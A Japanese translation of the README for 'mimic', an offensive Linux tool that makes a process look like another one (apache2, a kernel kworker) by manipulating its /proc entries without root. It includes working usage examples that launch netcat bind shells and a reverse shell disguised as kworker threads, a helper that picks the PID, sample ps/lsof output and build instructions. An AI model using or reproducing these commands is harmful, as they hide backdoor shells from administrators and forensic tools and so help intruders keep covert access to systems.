
mimic は、Linux x86_64 で隠密実行を行うためのツールです。
「covert execution」とは?
隠密実行とは、プロセスを隠す技術です。この場合、mimic はプロセスを目に見える場所に隠します。mimic は任意のプログラムを起動して、他のプログラムのように見せることができます。どのユーザーでも使用できます。特別な権限は必要ありません。特別なバイナリも必要ありません。ルートキットも必要ありません。
えっ?!特別な権限がいらないの?!
その通りです。mimic は、プロセスの内部構造を再構成することで、そのプロセスの /proc エントリを混乱させます。プロセスの性質を報告するすべてのツールは、/proc を調べることで行います。/proc を操作できれば、プロセスを目に見える場所に隠せます。自分が所有するプロセスの状態を変更するだけなので、誰でも mimic を正常に実行できます。
これは検出できますか?!
もちろんですが、それは非常に注意深く調べているか、この種のものを探すフォレンジックツールを実行している場合に限ります。mimic の有用性は、そもそも誰かに疑念を抱かせるのを防ぐことにあります。
これはスクリプトでも動作しますか?
はい、ただし、mimic をインタプリタに対して直接呼び出す必要があります。たとえば、スクリプトの最初の行が "#!/usr/bin/perl" の場合、mimic を次のように呼び出します:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
インタプリタを直接呼び出すことで、mimic はその魔法を発揮します。
mimic の対象ユーザーは誰ですか?
ルートを取得する前に正当に隠密実行を必要とするすべての人が対象です。これには以下が含まれますが、これに限定されません:
なぜ "mimic" という名前なのですか?
なぜなら「嘘つき、嘘つき、/proc が燃えている!」では長すぎたからです。
"set_target_pid" とは何ですか?
set_target_pid は mimic スイートの小さなヘルパープログラムで、希望する PID が再利用されるまで PID を消費し尽くします。これにより、プロセスリストのどこにプロセスを配置するかを選択できます。カーネルは最初の 300 個の PID をカーネルスレッド用に予約していることに注意してください。それより小さい PID を指定しようとすると、おそらく PID 301 で実行されることになります。
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Execute COMMAND.
-m Setup COMMAND to look like MIMIC.
Default for non-root is: "/usr/sbin/apache2 -k start"
Default for root is: "[kworker/0:0]"
-b Launch COMMAND in the background.
-a Add / overwrite KEY to the mimic environment with associated VALUE.
-q Be quiet! Do not print normal output.
-h Print this helpful message.
Notes:
The MIMIC environment will be a copy of the COMMAND environment.
The '_' variable is automatically changed.
The -a flag can be called multiple times to add / overwrite multiple variables.
Examples:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
First example - Launching a netcat listener as a regular user:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
2つ目の例 - rootとしてnetcatリバースシェルを起動:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
偽のkworkerを見分けられますか?grepの助けがなければ見分けられますか?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
もちろん、kworkerがソケットを開いているはずはありませんが、きっとこれよりも創造的な名前の選択ができるでしょう。:)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
ここで root として実行しているのは、kworkerスレッドが非rootユーザーとして実行されていると非常に怪しいからです。新しいmimicの名前は単なる文字列です。既存のプロセスである必要はありません。いや、実際に存在するものである必要すらありません!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make